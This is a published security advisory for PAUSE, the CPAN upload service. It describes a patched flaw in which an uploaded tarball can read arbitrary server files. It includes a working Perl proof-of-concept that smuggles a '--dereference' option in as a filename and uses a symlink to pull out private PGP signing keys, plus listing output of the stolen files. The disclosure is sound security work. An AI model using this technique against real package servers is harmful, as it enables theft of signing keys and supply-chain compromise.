Skip to content

Arbitrary filesystem read by uploading a crafted distribution tarball

Critical
andk published GHSA-3j5w-wmwq-p6cw Nov 3, 2024

Package

PAUSE (CPAN)

Affected versions

before da089bf (2024-11-03)

Patched versions

da089bf (2024-11-03)

Description

Summary

It may be possible to extract any file or directory accessible to the user running paused via a crafted tarball upload.

The PoC below demonstrates how an attacker can instrument a tarball with malicious entries to exfiltrate the private PGP keys from /home/pause/pause-private.

A local installation of PAUSE has been used to find this issue.

Details

When paused recreates tarballs that have files with world writable permissions, we can inject a --dereference option as a filename via @children in _rewrite_tarball

$rc = 0 == system tar => $taropt, "-cf", $path, @children or die "Could not tar c";

This allows symlinks to be followed, and we can use symlinks in the original tarball to include any path on the filesystem that the pause user has access to. These paths will be included in the recreated tarball which will be available to the attacker (and probably everyone else).

PoC

  1. Prepare a distribution for upload, for example SymlinkAttack-0.001.tar.gz
  2. Use the script below to add the exploit code to the tarball $ ./inject-exploit.pl SymlinkAttack-0.001.tar.gz
  3. Upload the tarball as an author to PAUSE, and wait for paused to process it
  4. Download the rewritten tarball now containing the contents of /home/pause/pause-private from /pub/PAUSE/authors/id/U/US/USER/SymlinkAttack-0.001.tar.gz
#!/usr/bin/env perl

use strict;
use Archive::Tar;
use File::Basename;

my ($tarball) = $ARGV[0]; # Tarball to inject attack into

my $basename = basename($tarball, ".tar.gz");

my $tar = Archive::Tar->new;
$tar->read($tarball) or die "Failed to read $tarball";

# Inject an additional argument to the tar command used when recreating
# tarballs, this will become a "multiple root" tarball that is not indexed
$tar->add_data("--dereference", "foo");

# Create a file with world writable permissions, to trigger the actual
# recreation of tarball
$tar->add_data("$basename/world-writable", "foo", { mode=> 0777});

$tar->add_data("$basename/LOOT", '', {
  type     => Archive::Tar::SYMLINK,

  # Directory containing files we want to steal
  linkname => "/home/pause/pause-private/",

  # Set mode 0755 so paused doesn't attempt to
  # chmod it, symlinks are 0777 usually
  mode => 0755
});

# Write the modified tarball back
$tar->write($tarball, 1) or die "Failed to write tarball";

Example tarball output:

# tar tvvf /data/pause/pub/PAUSE/authors/id/U/US/USER/SymlinkAttack-0.001.tar.gz | grep LOOT
drwxr-xr-x pause/pause       0 2024-11-01 16:04 SymlinkAttack-0.001/LOOT/
drwx------ pause/pause       0 2024-11-01 19:52 SymlinkAttack-0.001/LOOT/gnupg-pause-batch-signing-home/
-rw------- pause/pause      32 2024-11-01 16:04 SymlinkAttack-0.001/LOOT/gnupg-pause-batch-signing-home/pubring.kbx~
drwx------ pause/pause       0 2024-11-01 16:04 SymlinkAttack-0.001/LOOT/gnupg-pause-batch-signing-home/private-keys-v1.d/
-rw------- pause/pause    2867 2024-11-01 16:04 SymlinkAttack-0.001/LOOT/gnupg-pause-batch-signing-home/private-keys-v1.d/CBEA3D65A6CD867B05CB80E89ED067BB1D33DCDB.key
-rw------- pause/pause    2869 2024-11-01 16:04 SymlinkAttack-0.001/LOOT/gnupg-pause-batch-signing-home/private-keys-v1.d/8916C5A361323FC2377CF477BF145A1001A3F626.key
-rw-r--r-- pause/pause    1963 2024-11-01 16:04 SymlinkAttack-0.001/LOOT/gnupg-pause-batch-signing-home/pubring.kbx
-rw------- pause/pause    1200 2024-11-01 16:04 SymlinkAttack-0.001/LOOT/gnupg-pause-batch-signing-home/trustdb.gpg
drwxr-xr-x pause/pause       0 2024-11-01 16:04 SymlinkAttack-0.001/LOOT/lib/
-rw-r--r-- pause/pause     508 2024-11-01 16:04 SymlinkAttack-0.001/LOOT/lib/PrivatePAUSE.pm

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

CVE ID

No known CVE

Weaknesses

No CWEs

Credits